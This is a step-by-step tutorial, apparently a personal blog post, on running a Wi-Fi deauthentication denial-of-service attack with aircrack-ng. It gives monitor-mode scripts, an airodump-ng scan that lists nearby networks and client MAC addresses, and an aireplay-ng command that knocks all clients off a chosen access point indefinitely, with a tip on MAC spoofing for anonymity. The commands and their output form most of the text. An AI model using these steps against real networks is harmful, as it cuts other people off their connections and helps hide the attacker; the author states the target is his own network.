sudo apt install aircrack-ng → Install the aircrack-ng tool

For ease create monitor.sh file. We need to put our wifi interface card of our laptop on monitor mode so we can analyze. In this script first we put our wifi interface down so then we can put our interface to monitor mode and then turning it back up again. Can also use mac changer for anonymous purposes wlp2s0 is name of my wifi network card, See the ifconfig command for knowing its name

monitor.sh → file name

```
#!/bin/bash

ifconfig wlp2s0 down
iwconfig wlp2s0 mode monitor
#Can also add mac changer (can only be done while its down)
ifconfig wlp2s0 up
iwconfig wlp2s0 | grep Mode
```

Also create a file normal.sh because of putting wifi card back in normal mode. At the end I am restarting network-manager as well I was still unable to use wifi properly

normal.sh → file name

```
#!bin/bash

ifconfig wlp2s0 down
iwconfig wlp2s0 mode managed
ifconfig wlp2s0 up
service network-manager restart
```

Killing all the processes which may interfere in our usage of tools for attack

```
(base) muhammadammarabid@ammar:~/dos-stuff$ sudo airmon-ng check kill

Killing these processes:

  PID Name
10751 wpa_supplicant
12408 avahi-daemon
12418 avahi-daemon
```

Running monitor.sh script

```
(base) muhammadammarabid@ammar:~/dos-stuff$ sudo bash monitor.sh
wlp2s0    IEEE 802.11  Mode:Monitor  Frequency:2.462 GHz  Tx-Power=22 dBm
```

Now we are gonna monitor the wifis nearby and their clients. Proper display of results may take few seconds

```
(base) muhammadammarabid@ammar:~/dos-stuff$ sudo airodump-ng wlp2s0

 CH  1 ][ Elapsed: 6 s ][ 2020-11-26 18:02

 BSSID                  PWR  Beacons    #Data,  #/s  CH  MB   ENC    CIPHER   AUTH  ESSID

 54:3E:64:D5:EC:25  -43       15           183     23   11   54e    WPA2  CCMP     PSK      adan1145
 C8:3A:35:94:92:59  -79       14           3        0    5    54e   WPA2   CCMP     PSK      PTCL-BB
 C8:3A:35:83:48:E1  -80      10            1         0    5     54e   WPA2   CCMP     PSK     Tiger

 BSSID                  STATION                  PWR   Rate     Lost    Frames  Probe

 (not associated)        FC:3F:7C:96:69:37     -85      0 - 1      0        1
 (not associated)        88:32:9B:1E:52:8B     -87      0 - 1     12        5
 54:3E:64:D5:EC:25  74:C1:7D:68:5B:FC    -43      0 - 1      0        1
 54:3E:64:D5:EC:25  74:C1:7D:BC:02:26     -39     0e- 1      0        3
 54:3E:64:D5:EC:25  B4:A5:AC:A0:E2:2F   -70     0e- 0e    0      181
```

Above Station shows client, Now I will attack adan1145 , my own wifi so for attacking that we need its BSSID and we also need to set our wifi network card to the channel of wifi we want to attack

```
(base) muhammadammarabid@ammar:~/dos-stuff$ sudo iwconfig wlp2s0 channel 11
```

Now after we have changed our channel of wifi network card to the channel of wifi we want to attack. We can initiate deauthentication attack. Below -0 switch means deauthentication attack but there are other attacks too see the ‘man aireplay-ng’ for details, after -0 switch specify the number of deauth packets we want to send but we are using 0 after -0 as we want to keep the attack unless we press Ctrl + C ,-a switch sets the Access Point Mac Address which is of wifi, wlp2s0 is my interface card so using it we do the attack, -c switch can also be used for specifying the Mac Address of the specific client connected on the wifi we want to deauthenticate, if we don’t specify client’s Mac Address then the attack deauthenticates all the connected users on that wifi. While we are sending Deauths packet no one would be able to use wifi during that as they would be deauthenticated during that time

```
(base) muhammadammarabid@ammar:~/dos-stuff$ sudo aireplay-ng -0 0 -a 54:3E:64:D5:EC:25 wlp2s0
18:03:46  Waiting for beacon frame (BSSID: 54:3E:64:D5:EC:25) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
18:03:46  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:46  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:47  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:47  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:48  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:48  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:49  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:49  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:49  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:50  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:50  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:51  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:51  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:52  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
18:03:52  Sending DeAuth to broadcast -- BSSID: [54:3E:64:D5:EC:25]
^C
```

Now for setting the network card to normal mode use the command below for running the script

```
(base) muhammadammarabid@ammar:~/dos-stuff$ sudo bash normal.sh
```